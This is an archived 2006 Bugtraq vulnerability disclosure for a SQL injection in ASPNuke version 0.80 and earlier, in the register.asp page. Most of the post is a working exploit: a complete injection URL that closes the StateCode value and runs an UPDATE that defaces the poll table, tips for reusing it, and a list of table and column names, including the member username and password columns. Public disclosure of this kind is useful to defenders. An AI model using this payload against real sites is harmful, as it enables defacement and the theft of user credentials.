bugtraq - ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20061119175805.12417.qmail@securityfocus.com>
Date: 19 Nov 2006 17:58:05 -0000
From: ajannhwt@...mail.com
To: bugtraq@...urityfocus.com
Subject: ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability

*******************************************************************************
# Title  :  ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
# Author :  ajann
# S.Page :  http://www.aspnuke.com
# D.Page :  http://sourceforge.net/project/showfiles.php?group_id=92470 

*******************************************************************************

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ASP Nuke
Kenneth W. Richards
Orvado Technologies 
-Introduction-

ASP Nuke is an open-source software application for running a community-based web site on a web server. 
By open-source, we mean the code is freely available for others to read, modify and use in accordance 
with the software license.
ASP Nuke is an extensible framework that allows you to upgrade and add applications to the website quickly 
and easily. It uses a modular architecture allowing others to rapidly develop new modules and site operators 
to re-organize the layout and navigation for their site. 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerability::
_________________

###http://[target]/[path]//module/account/register/register.asp?StateCode=[SQL]&..&..&..&..&..&..&..&..&....

Example = Poll Update

///module/account/register/register.asp?StateCode=0',0,0,0,0,0);update%20tblPoll%20set%20Question%20=%20'hacked'--&FirstName=namename1&LastName=namename2&Username=abcdefghijk&Password=1234567890&Confirm=1234567890&Address1=kro.mahallesi&Address2=kro.apt&City=aaaaaaaaa&ZipCode=101010101&CountryID=0&Email=mailmail@...lbidaamail.com&Action=ADD&_dummy=Register

Note: Change UserName because ; failed:already username dont write.

Some tables,columns
___________________

[tblMember]    |  [FaqQuestion]
MemberID       |  QuestionID
Username       |  DocumentID
Password       |  Question
Firstname      |  Answer
Middlename     |  Active
EmailAddress   |  OrderNo
..             |  ..


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!